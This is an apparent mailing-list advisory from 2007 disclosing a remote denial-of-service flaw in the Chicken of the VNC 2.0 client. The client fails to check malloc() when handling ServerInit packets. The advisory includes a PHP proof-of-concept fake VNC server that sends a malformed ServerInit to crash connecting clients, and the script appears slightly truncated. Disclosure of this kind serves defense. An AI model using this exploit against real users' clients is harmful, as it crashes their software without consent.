Chicken of the VNC 2.0 remote DoS Feb 02 2007 02:50PM
poplix papuasia org
i wish to inform you that cotv 2.0 (a vnc client for maxosx) available at http://sourceforge.net/projects/cotvnc/ is prone to a remotely exploitable denial of service vulnerability because it fails to validate the content of ServerInit packets.
A ServerInit packet contains the server's computer name and its size in the following format:
computer-name-size is 4bytes interpreted as unsigned int rapresentig the size in bytes of the computer name
computer-name is a variable size array of bytes rapresentig the computer name

when cotv recives a ServerInit packet, it first allocates a buffer by passing computer-name-size to malloc() and then it copies computer-name to the newly allocated memory.
The problem is that cotv doesn't validate the pointer returned by malloc() so it's possible that a NULL-pointer will be used as the first parameter of memcpy() causing the program to crash.

a proof-of-concept is attached, run that php script and connect cotv to it with a blank password (disable vnc auth)

hope it helps,

$port = "5900";

"\x04\x00". // fb-width
"\x03\x00". // fb-hight
"\x20". // bits per pixel
"\x18". // depth
"\x00". // big-endian flag
"\x01". // true-color flag
"\x00\xff\x00\xff\x00\xff". // r-g-b max
"\x10\x08\x00". // r-g-b shift
"\x00\x00\x00". // padding
"\xff\xff\xff\xff". // computer-name size
"DIE_PLZ"; // computer-name

$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($ser,"", $port);

socket_listen($ser, 5);

print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference
02-02-2007 poplix [@] papuasia.org
listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
if(substr($i,0,6) == "RFB 00") break;

print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024))
if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);



print "done\n";

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